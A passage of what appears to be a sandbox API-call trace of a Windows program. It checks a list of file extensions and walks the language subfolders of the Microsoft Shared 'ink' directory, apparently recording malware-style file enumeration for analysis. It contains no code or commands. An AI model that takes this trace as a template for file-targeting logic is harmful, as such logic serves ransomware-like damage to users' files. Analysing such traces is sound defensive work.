(lpString1=".epsf", lpString2=".html") returned -1 [0266.765] lstrlenW (lpString=".epsp") returned 5 [0266.765] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0266.765] lstrlenW (lpString=".erf") returned 4 [0266.765] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0266.765] lstrlenW (lpString=".exr") returned 4 [0266.765] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0266.765] lstrlenW (lpString=".f4v") returned 4 [0266.765] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0266.765] lstrlenW (lpString=".fido") returned 5 [0266.765] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0266.765] lstrlenW (lpString=".flm") returned 4 [0266.765] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0266.765] lstrlenW (lpString=".flv") returned 4 [0266.765] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0266.765] lstrlenW (lpString=".frm") returned 4 [0266.765] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0267.230] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.230] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0267.231] FindClose (in: hFindFile=0x31b8e8 | out: hFindFile=0x31b8e8) returned 1 [0267.231] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x421dfa8 | out: hHeap=0x2a0000) returned 1 [0267.231] FindNextFileW (in: hFindFile=0x31b868, lpFindFileData=0x373f310 | out: lpFindFileData=0x373f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0267.231] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x421dfa8 [0267.231] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b8e8 [0267.231] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.231] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0267.231] FindClose (in: hFindFile=0x31b8e8 | out: hFindFile=0x31b8e8) returned 1 [0267.231] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x421dfa8 | out: hHeap=0x2a0000) returned 1 [0267.231] FindNextFileW (in: hFindFile=0x31b868, lpFindFileData=0x373f310 | out: lpFindFileData=0x373f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0267.231] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x421dfa8 [0267.231] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b8e8 [0267.231] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.231] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0267.232] FindClose (in: hFindFile=0x31b8e8 | out: hFindFile=0x31b8e8) returned 1 [0267.232] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x421dfa8 | out: hHeap=0x2a0000) returned 1 [0267.232] FindNextFileW (in: hFindFile=0x31b868, lpFindFileData=0x373f310 | out: lpFindFileData=0x373f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0267.232] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x421dfa8 [0267.232] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b8e8 [0267.232] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.232] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0267.232] FindClose (in: hFindFile=0x31b8e8 | out: hFindFile=0x31b8e8) returned 1 [0267.232] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x421dfa8 | out: hHeap=0x2a0000) returned 1 [0267.232] FindNextFileW (in: hFindFile=0x31b868, lpFindFileData=0x373f310 | out: lpFindFileData=0x373f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0267.232] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x421dfa8 [0267.232] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b8e8 [0267.232] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.232] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0267.232] FindClose (in: hFindFile=0x31b8e8 | out: hFindFile=0x31b8e8) returned 1 [0267.232] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x421dfa8 | out: hHeap=0x2a0000) returned 1 [0267.232] FindNextFileW (in: hFindFile=0x31b868, lpFindFileData=0x373f310 | out: lpFindFileData=0x373f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0267.232] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x421dfa8 [0267.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b8e8 [0267.233] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.233] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0267.233] FindClose (in: hFindFile=0x31b8e8 | out: hFindFile=0x31b8e8) returned 1 [0267.233] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x421dfa8 | out: hHeap=0x2a0000) returned 1 [0267.233] FindNextFileW (in: hFindFile=0x31b868, lpFindFileData=0x373f310 | out: lpFindFileData=0x373f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0267.233] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x421dfa8 [0267.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b8e8 [0267.233] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.233] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0267.234] FindClose (in: hFindFile=0x31b8e8 | out: hFindFile=0x31b8e8) returned 1 [0267.234] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x421dfa8 | out: hHeap=0x2a0000) returned 1 [0267.234] FindNextFileW (in: hFindFile=0x31b868, lpFindFileData=0x373f310 | out: lpFindFileData=0x373f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0267.234] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x421dfa8 [0267.234] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b8e8 [0267.234] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.234] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0267.234] FindClose (in: hFindFile=0x31b8e8 | out: hFindFile=0x31b8e8) returned 1 [0267.234] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x421dfa8 | out: hHeap=0x2a0000) returned 1 [0267.234] FindNextFileW (in: hFindFile=0x31b868, lpFindFileData=0x373f310 | out: lpFindFileData=0x373f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0267.234] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x421dfa8 [0267.234] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b8e8 [0267.234] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.234] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0267.235] FindClose (in: hFindFile=0x31b8e8 | out: hFindFile=0x31b8e8) returned 1 [0267.235] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x421dfa8 | out: hHeap=0x2a0000) returned 1 [0267.235] FindNextFileW (in: hFindFile=0x31b868, lpFindFileData=0x373f310 | out: lpFindFileData=0x373f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0267.235] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x421dfa8 [0267.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b8e8 [0267.235] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.235] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0267.235] FindClose (in: hFindFile=0x31b8e8 | out: hFindFile=0x31b8e8) returned 1 [0267.235] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x421dfa8 | out: hHeap=0x2a0000) returned 1 [0267.235] FindNextFileW (in: hFindFile=0x31b868, lpFindFileData=0x373f310 | out: lpFindFileData=0x373f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0267.235] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x421dfa8 [0267.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, 